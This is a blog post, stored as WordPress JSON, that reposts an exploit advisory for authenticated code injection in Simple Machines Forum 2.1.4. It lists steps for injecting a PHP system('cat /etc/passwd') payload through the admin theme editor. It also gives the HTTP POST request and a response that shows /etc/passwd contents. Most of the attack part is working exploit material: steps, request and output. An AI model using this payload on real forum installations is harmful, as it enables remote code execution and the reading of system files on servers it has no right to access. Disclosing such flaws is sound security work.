{"id":59013,"date":"2024-08-20T19:40:37","date_gmt":"2024-08-20T16:40:37","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180255\/smf214-exec.txt"},"modified":"2024-08-20T19:40:37","modified_gmt":"2024-08-20T16:40:37","slug":"simple-machines-forum-2-1-4-code-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/simple-machines-forum-2-1-4-code-injection\/","title":{"rendered":"Simple Machines Forum 2.1.4 Code Injection"},"content":{"rendered":"

# Exploit Title: Authenticated Code Injection – smfv2.1.4
# Date: 8\/2024
# Exploit Author: Andrey Stoykov
# Version: 2.1.4
# Tested on: Ubuntu 22.04
# Blog:
https:\/\/msecureltd.blogspot.com\/2024\/06\/friday-fun-pentest-series-7-smfv214.html<\/p>\n

Code Injection Authenticated:<\/p>\n

Steps to Reproduce:<\/p>\n

1. Login as admin
2. Browse to “Current Theme”
3. Click on “Modify Themes” > “SMF Default Theme”
4. Click on Admin.template.php
5. In the first box enter the PHP payload “<?php system(‘cat \/etc\/passwd’)
?>”<\/p>\n

\/\/ HTTP POST request showing the code injection payload<\/p>\n

POST \/SMFdbwci7dy0o\/index.php?action=admin;area=theme;th=1;sa=edit HTTP\/1.1
Host: localhost
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
(KHTML, like Gecko) Chrome\/126.0.6478.57 Safari\/537.36
Accept:
text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7
[…]\n

entire_file[]=<?php+system(‘cat \/etc\/passwd’) ?>[…]\n

\/\/ HTTP response showing \/etc\/passwd contents<\/p>\n

HTTP\/1.1 200 OK
Server: Apache
Pragma: no-cache
[…]\n[…]root:x:0:0:root:\/root:\/bin\/bash
bin:x:1:1:bin:\/bin:\/sbin\/nologin
daemon:x:2:2:daemon:\/sbin:\/sbin\/nologin
adm:x:3:4:adm:\/var\/adm:\/sbin\/nologin
lp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin
[…]\n","protected":false},"excerpt":{"rendered":"

# Exploit Title: Authenticated Code Injection – smfv2.1.4# Date: 8\/2024# Exploit Author: Andrey Stoykov# Version: 2.1.4# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/06\/friday-fun-pentest-series-7-smfv214.html Code Injection Authenticated: Steps to Reproduce: 1. Login as admin2. Browse to “Current Theme”3. Click on “Modify Themes” > “SMF Default Theme”4. Click on Admin.template.php5. In the first box enter the PHP payload “<?php …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59013","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59013","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59013"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59013\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59013"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59013"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59013"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}